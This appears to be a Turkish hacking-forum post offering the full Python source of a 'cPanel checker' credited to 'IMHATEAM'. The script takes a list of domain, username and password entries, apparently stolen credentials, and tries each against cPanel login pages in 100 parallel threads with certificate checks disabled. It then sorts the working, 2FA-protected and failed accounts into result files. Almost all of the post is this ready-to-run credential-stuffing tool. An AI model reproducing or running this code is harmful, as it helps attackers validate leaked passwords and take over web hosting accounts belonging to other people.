Özellikler:
2 Faktörlü Loginleri Ayrıştırır,
Tüm Kaynak Kodları Açıktır,
Thread Ayarını Kaynak Kodlarından Yapabilirsiniz.
Kaynak Kodları:
2 Faktörlü Loginleri Ayrıştırır,
Tüm Kaynak Kodları Açıktır,
Thread Ayarını Kaynak Kodlarından Yapabilirsiniz.
Kaynak Kodları:
Revealed content
Python:
import os
import sys
import concurrent.futures
import colorama
import requests
from colorama import Fore, Style
import threading
import urllib3
import chardet
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
colorama.init(autoreset=True)
g = Fore.GREEN
r = Fore.RED
b = Fore.BLUE
c = Fore.CYAN
y = Fore.YELLOW
m = Fore.MAGENTA
lock = threading.Lock()
def ensure_dir(directory):
"""Make sure a directory exists; If you don't have one, create one."""
if not os.path.exists(directory):
os.makedirs(directory)
ensure_dir('Results')
def print_colored(message, color):
print(color + message)
def cpcheck(url):
try:
domain, username, pwd = url.split("|")
host = domain + "/login/?login_only=1"
host = host.replace("http://", "https://").replace(":2082", ":2083")
log = {'user': username, 'pass': pwd}
req = requests.post(host, data=log, timeout=15, verify=False)
if 'twofactor' in req.text.lower() or '2fa' in req.text.lower() or 'authentication required' in req.text.lower():
with lock:
print_colored(f"{y}[+]{c} {url} ==> {y}Two-Factor Authentication Detected!", y)
with open('Results/2fa.txt', 'a', encoding='utf-8') as f:
f.write(url + "\n")
elif 'security_token' in req.text and 'twofactor' not in req.text.lower():
with lock:
print_colored(f"{g}[+]{c} {url} ==> {g}cPanel Login {c}Successful! {m}@z3xrin", g)
with open('Results/valid.txt', 'a', encoding='utf-8') as f:
f.write(url + "\n")
else:
with lock:
print_colored(f"{r}[+]{r} {url} ==> {r}cPanel Login {r}Failed!", r)
with open('Results/invalid.txt', 'a', encoding='utf-8') as f:
f.write(url + "\n")
except Exception as e:
with lock:
print_colored(f"[+] {url} ==> cPanel Host Invalid. Error: {str(e)}", r)
with open('Results/invalid.txt', 'a', encoding='utf-8') as f:
f.write(url + "\n")
time.sleep(0.3)
def detect_encoding(file_path):
with open(file_path, 'rb') as f:
raw_data = f.read(100000)
result = chardet.detect(raw_data)
return result['encoding']
def menu():
banner_part1 = Fore.RED + f"""
/$$$$$$ /$$
/$$__ $$ |__/
/$$$$$$$$|__/ \ $$ /$$ /$$ /$$$$$$ /$$ /$$$$$$$
|____ /$$/ /$$$$$/| $$ /$$/ /$$__ $$| $$| $$__ $$
/$$$$/ |___ $$ \ $$$$/ | $$ \__/| $$| $$ \ $$
/$$__/ /$$ \ $$ >$$ $$ | $$ | $$| $$ | $$
/$$$$$$$$| $$$$$$/ /$$/\ $$| $$ | $$| $$ | $$
|________/ \______/ |__/ \__/|__/ |__/|__/ |__/
IMHATEAM - CPANEL CHECKER V2.0
"""
print(banner_part1)
try:
file_path = input(f"{g}Provide Your cPanel List --> ")
encoding = detect_encoding(file_path)
print_colored(f"File Encoding Detected: {encoding}", y)
with open(file_path, 'rt', encoding=encoding, errors='ignore') as f:
url_list = f.read().splitlines()
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
executor.map(cpcheck, url_list)
except Exception as e:
print_colored(f"An Error Occurred: {e}", r)
if __name__ == '__main__':
try:
menu()
except KeyboardInterrupt:
sys.exit(0)
Bu içeriği görmek için giriş yapın.
